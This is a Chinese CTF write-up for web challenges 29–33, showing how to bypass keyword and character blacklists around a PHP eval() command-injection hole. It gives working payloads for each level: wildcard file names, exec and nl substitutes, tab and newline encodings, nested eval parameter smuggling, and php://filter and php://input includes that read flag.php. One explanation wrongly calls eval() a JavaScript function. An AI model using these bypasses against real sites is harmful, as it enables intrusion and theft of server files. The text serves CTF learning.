web-命令执行

文章讲述了在Web应用程序中如何通过各种方法绕过过滤机制执行命令,包括使用通配符、嵌套函数、URL编码以及利用伪协议来执行系统命令,如`eval()`、`system()`等。

web29

system执行;通配符

题目:命令执行,需要严格的过滤
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 这里对flag进行过滤,用通配符?flag绕过可以用 f*

以下参考

一
?c=system('cat fla?.php');

?c=system('cat fla*');

二
?c=system("cp fla?.php 1.txt");

?c=system('cp fla?.php 1.txt');

/?c=system(‘ls’); 

然后访问1.txt 就ok了 

web30

system过滤了?

 if(!preg_match("/flag|system|php/i", $c)){

 /?c=echo%20exec("ls"); 其实这里和上面%20在编码当中是空格的意思,因此保持习惯加了  %20,不加效果一样,看实际情况

echo exec("ls"); 是一个 PHP 命令执行代码,它会在服务器上执行 ls 命令

具体来说,exec() PHP 中用于执行系统命令的函数,它可以在参数中指定要执行的命令,而 echo 则将 exec() 函数返回的命令输出到页面上。因此,该代码相当于执行了ls,也就是达到了29题的效果。

 

Web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){

eval() JavaScript 中的一个全局函数,其作用是将字符串作为脚本代码执行,并返回最后一个表达式的结果。 eval() 可以执行任何字符串作为 JavaScript 代码

 又多了一些过滤,改怎末绕过呢

多了空格 cat  /?c=echo%20exec("ls");”改怎末替换呢

第一种

%09换成空格 nl代替cat

URL编码中,%09 是水平制表符 Tab)的编码表示方式,因此在 Web 地址(URL)中将 %09 用作参数分隔符的效果等同于使用空格。此外,还有其他常见的URL编码字符,例如 %20 表示空格,%2F 表示斜杠 / 等。 

第二种

嵌套eval,逃逸参数

 比如这里访问phpinfo()  url/?c=eval($_GET[ikun]);&ikun=phpinfo();

 那我们换了执行命令不就可以了吗

 url/?c=eval($_GET[ikun]);&ikun=system(‘ls’);

 第三种

 伪协议: url/?c=include%09$_GET[k];&k=php://filter/convert.base64-encode/resource=flag.php

然后在解base就行了 

Web32 

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){

 过滤了     flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号

;可以用?> 空格也被过滤了,就用%0a,表示换行,相当于enter 

php://filter

/?c=include%09$_GET[k]?>&k=php://filter/read=convert.base64-encode/resource=flag.php 

 php://input

 ?c=include"$_GET[1]"?>&1=php://input

然后<?php system(‘cat flag.php’)?> 

 Web33

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){

双引号也过滤了,那32也没用双引号啊,同解 32  

/?c=include%09$_GET[k]?>&k=php://filter/read=convert.base64-encode/resource=flag.php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值